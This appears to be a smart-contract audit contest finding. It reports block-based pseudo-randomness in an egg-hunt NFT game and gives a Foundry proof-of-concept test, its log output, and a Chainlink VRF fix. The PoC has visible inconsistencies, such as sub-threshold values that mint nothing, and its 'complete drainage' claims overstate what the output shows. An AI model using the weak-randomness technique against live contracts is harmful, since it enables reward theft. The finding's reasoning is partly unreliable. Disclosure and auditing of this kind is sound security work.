Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Pseudo-Random Number Generation Vulnerability in EggHuntGame.sol searchForEgg can lead to unfair game reward or Complete game reward drainage

Summary

The EggHuntGame.sol contract's searchForEgg() function contains a critical vulnerability in its random number generation mechanism. This flaw allows attackers to reuse fixed random values within the same block, enabling complete manipulation of game outcomes. This is classified as a "Predictable Pseudo-Randomness" high-risk vulnerability that directly compromises the economic fairness of the game.

Vulnerability Details

Root Cause

The random number is generated using:

uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
Key Issues
  1. Block-Level Constants

    • block.timestamp and block.prevrandao remain identical for all transactions in the same block.

  2. Static Inputs

    • msg.sender (Bob's address) and non-incremented eggCounter create deterministic hashes.

  3. Test vs. Mainnet Discrepancy

    • Foundry tests initially showed variation due to simulated multi-block execution, but real deployments allow single-block exploitation.

PoC

for better demonstrating, I modified the searchForEgg code in **EggHunterGame.sol **:

function searchForEgg() external returns (uint256) {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
// Pseudo-random number generation (for demonstration purposes only)
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[msg.sender] += 1;
eggNFT.mintEgg(msg.sender, eggCounter);
emit EggFound(msg.sender, eggCounter, eggsFound[msg.sender]);
}
return random; // <--- add this
}

And replace original testSearchForEgg in EggHunterGame.t.sol with this one:

function testSearchForEgg() public {
// Start the game with a duration.
uint256 duration = 200;
game.startGame(duration);
// Set threshold to 100 to guarantee that an egg is always found.
game.setEggFindThreshold(100);
uint256 previousEggCounter = game.eggCounter();
// Alice attempts to search for an egg.
vm.prank(alice);
game.searchForEgg();
// Check that the egg counter has increased.
assertEq(game.eggCounter(), previousEggCounter + 1);
// Verify that alice’s egg count increased.
assertEq(game.eggsFound(alice), 1);
// Confirm that the NFT was minted to alice.
uint256 tokenId = game.eggCounter();
assertEq(nft.ownerOf(tokenId), alice);
// After ending the game, search should revert.
game.endGame();
vm.prank(bob);
vm.expectRevert("Game not active");
game.searchForEgg();
vm.stopPrank();
// ##################
// test other threshold
// and the potential vuln in caculating `random`
//
game.startGame(10000);
console.log("[+] Set Threshold to 80");
game.setEggFindThreshold(80);
console.log("[+] Search for Egg");
vm.prank(bob);
console.log("[+] Bob Egg Count: ", game.eggsFound(bob));
for(uint256 i = 0; i < 100; i++){
console.log("=== Round ", i);
vm.warp(block.timestamp);
uint256 random = game.searchForEgg();
console.log("[+] Random: ", random);
console.log("[+] Bob Egg Count: ", game.eggsFound(bob));
}
game.endGame();
}

run forge test:

forge test --match-test "testSearchForEgg" -vvv

the output is:

web@web-virtual-machine:~/Desktop/Tmp/2025-04-eggstravaganza$ forge test --match-test "testSearchForEgg" -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 2 tests for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] testSearchForEgg() (gas: 1335217)
Logs:
[+] Set Threshold to 80
[+] Search for Egg
[+] Bob Egg Count: 0
=== Round 0
[+] Random: 73
[+] Bob Egg Count: 0
=== Round 1
[+] Random: 36
[+] Bob Egg Count: 0
=== Round 2
[+] Random: 36
[+] Bob Egg Count: 0
=== Round 3
[+] Random: 78
[+] Bob Egg Count: 0
=== Round 4
[+] Random: 0
[+] Bob Egg Count: 0
=== Round 5
[+] Random: 60
[+] Bob Egg Count: 0
=== Round 6
[+] Random: 27
[+] Bob Egg Count: 0
=== Round 7
[+] Random: 17
[+] Bob Egg Count: 0
=== Round 8
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 9
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 10
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 11
[+] Random: 89
[+] Bob Egg Count: 0
...
=== Round 97
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 98
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 99
[+] Random: 89
[+] Bob Egg Count: 0

you will see that the value of random is constant after several rounds

Impact

(1)For Attackers (Malicious Actors)

  • Complete game reward drainage through single-block exploitation

  • Guaranteed NFT minting monopoly when threshold condition is met

  • Ability to drain all valuable assets from the game economy in one transaction

(2)For Legitimate Participants

  • Post-attack random values become predictable and fixed (e.g., constant 89 in test results)

  • Permanent inability to obtain NFT rewards due to manipulated randomness

  • Complete loss of game fairness and economic viability

  • Erosion of trust in game mechanics and platform integrity

Tools Used

Foundry

  • forge test with -vvvv logs revealed fixed random outputs.

Recommendations

Use Chainlink VRF for true randomness

// Use Chainlink VRF for true randomness
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract EggHuntGame is VRFConsumerBase {
function searchForEgg() external {
require(LINK.balanceOf(address(this)) >= fee);
requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32, uint256 randomness) internal override {
uint256 random = randomness % 100;
_applyRandomResult(random);
}
}
Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.